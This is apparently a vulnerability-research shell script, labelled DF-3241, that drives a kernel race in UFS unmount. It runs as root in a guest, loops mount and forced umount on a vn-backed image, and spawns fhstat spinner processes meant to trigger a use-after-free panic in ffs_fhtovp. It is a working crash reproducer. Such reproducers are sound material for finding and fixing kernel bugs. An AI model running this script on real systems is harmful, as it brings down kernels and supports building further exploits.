DF-3241 / race.sh
#!/bin/sh # DF-3241 race driver (run as root inside the guest). # # Sets up a vn-backed UFS, captures its root file handle, starts fhstat # spinner processes, then loops mount/umount -f. Each umount has a window # between VFS_UNMOUNT (mnt_data freed/cleared) and mountlist_remove where # vfs_getvfs() still hands out the mount to fhstat(). # # Progress to /root/race.log. Expected: fatal trap 12, addr 0x18 in # ffs_fhtovp (or 0x78+ in vfs_export_lookup via ufs_check_export when the # mount is exported). set -u LOG=/root/race.log IMG=/root/u.img FH=/root/fh.bin NBOMB=${NBOMB:-8} ROUNDS=${ROUNDS:-4000} exec >> $LOG 2>&1 set -x date uname -a # --- setup --------------------------------------------------------------- if [ ! -f $IMG ]; then dd if=/dev/zero of=$IMG bs=1m count=64 fi vnconfig -c vn0 $IMG || exit 1 if [ ! -e /dev/vn0s0 ]; then newfs /dev/vn0 || { echo NEWFS_FAILED; exit 1; } FSDEV=/dev/vn0 else newfs /dev/vn0s0 || { echo NEWFS_FAILED; exit 1; } FSDEV=/dev/vn0s0 fi echo "FSDEV=$FSDEV" mkdir -p /mnt mount -t ufs $FSDEV /mnt || exit 1 /root/poc/getfh /mnt > $FH || exit 1 umount /mnt || exit 1 # sanity: remount and confirm the fh resolves (fsid is path-derived, stable) mount -t ufs $FSDEV /mnt || exit 1 /root/poc/fhstat_once $FH || exit 1 umount /mnt || exit 1 echo SANITY_OK # --- race ---------------------------------------------------------------- i=0 while [ $i -lt $ROUNDS ]; do i=$((i+1)) # (re)start bombs each round-batch; they survive unmounted periods if [ $((i % 500)) -eq 1 ] || [ -z "$(pgrep fhbomb)" ]; then pkill fhbomb 2>/dev/null j=0 while [ $j -lt $NBOMB ]; do /root/poc/fhbomb $FH 1 & j=$((j+1)) done fi mount -t ufs $FSDEV /mnt || { echo "round $i: mount failed"; continue; } umount -f /mnt if [ $((i % 100)) -eq 0 ]; then echo "round $i done $(date +%s)" fi done echo "SURVIVED $ROUNDS rounds without panic" date |